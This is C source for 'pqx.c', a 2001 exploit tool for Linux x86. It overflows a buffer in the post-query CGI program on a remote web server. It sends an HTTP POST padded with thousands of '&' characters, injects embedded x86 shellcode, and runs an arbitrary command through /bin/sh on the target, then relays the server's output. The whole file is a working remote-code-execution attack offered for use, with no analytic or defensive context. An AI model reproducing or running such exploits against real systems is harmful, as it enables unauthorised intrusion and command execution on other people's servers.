/*
 |  pqx.c -- post-query buffer overflow exploit for Linux-ix86
 |  Copyright (c) 2001 by proton. All rights reserved.
 |
 |  This program is free software; you can redistribute it and/or modify
 |  it under the terms of the GNU General Public License as published by
 |  the Free Software Foundation; either version 2 of the License, or
 |  (at your option) any later version.
 |
 |  This program is distributed in the hope that it will be useful,
 |  but WITHOUT ANY WARRANTY; without even the implied warranty of
 |  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 |  GNU General Public License for more details.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

char	tmp[512];
char	*host;
char	*progname;
char	*command;

#define output(x)	write(1,x,sizeof(x))

unsigned char shellcode[] =
	"\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"
	"\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"
	"\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xc0\xff\xff\xff\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
	"\x01\x01\x00";

void netpipe(int *rsock, int *wsock, int sz)
{
	struct	sockaddr_in sai;
	struct	hostent *he;
	int	s;

	if (!host || !*host || !command || !*command)
	{
		printf("Usage: %s <host> \"<command>\"\n",progname);
		exit(1);
	}
	he = gethostbyname(host);
	if (!he)
	{
		printf("%s: Unknown host\n",host);
		exit(1);
	}

	s = socket(AF_INET,SOCK_STREAM,0);
	sai.sin_family = AF_INET;
	sai.sin_port = htons(80);
	memcpy(&sai.sin_addr,he->h_addr_list[0],sizeof(struct in_addr));

	if (connect(s,(struct sockaddr*)&sai,sizeof(sai)) < 0)
	{
		switch(errno)
		{
		case ECONNREFUSED:
			output("Connection refused.\n");
			break;
		case ETIMEDOUT:
			output("Connection timed out.\n");
			break;
		case ENETUNREACH:
			output("Network unreachable.\n");
			break;
		default:
			output("Unknown error.\n");
			break;
		}
		exit(1);
	}
	output("Connection established.\n");

	*rsock = *wsock = s;
	sprintf(tmp,"POST /cgi-bin/post-query HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\n"
		"Content-Length: %i\r\n\r\n",sz);
	write(s,tmp,strlen(tmp));
}

void __doit(void);

#define CMDSTUB		"/bin/sh -c %s@"

int main(int argc, char **argv)
{
	char	*q,*cp;
	int	in,out;
	int	sz,x,n;

	if (argc < 3)
	{
		fprintf(stderr,"Usage: %s <hostname> \"<command>\"\n",argv[0]);
		exit(1);
	}

	progname = argv[0];
	host = argv[1];
	command = argv[2];

	x = (2*strlen(shellcode)) + strlen(command) + sizeof(CMDSTUB);
	sz = 9999 + x;

	netpipe(&in,&out,sz);

	tmp[0] = 0;
	for(sz=0;sz<9999;sz++)
	{
		strcat(tmp,"&");
		if (strlen(tmp) > 500)
		{
			write(out,tmp,strlen(tmp));
			tmp[0] = 0;
		}
	}
	write(out,tmp,strlen(tmp));

	sprintf(tmp,"&%s=%s",shellcode,shellcode);
	q = strchr(tmp,0);
	sprintf(q,CMDSTUB,command);
	write(out,tmp,x);

	output("Sent our shit.\n");

	n = x = 0;
	for(;;)
	{
		sz = read(in,&tmp[x],512-x);
		if (sz < 1)
			break;
		x += sz;
		q = cp = tmp;
		for(sz=x;sz;)
		{
			if (*q == '\n')
			{
				if (strncmp(cp,"<li> <code> = </code>",q-cp))
					write(1,cp,(q-cp)+1);
				else
				if (!n)
				{
					write(1,"\n<!-- ignoring 10,000 lines of crap -->\n\n",41);
					n++;
				}
				cp = q + 1;
			}
			q++;
			sz--;
		}
		if (cp != tmp)
		{
			sz = x - (cp - tmp);
			memcpy(tmp,cp,sz);
			x -= (cp - tmp);
		}
	}
	exit(0);
}
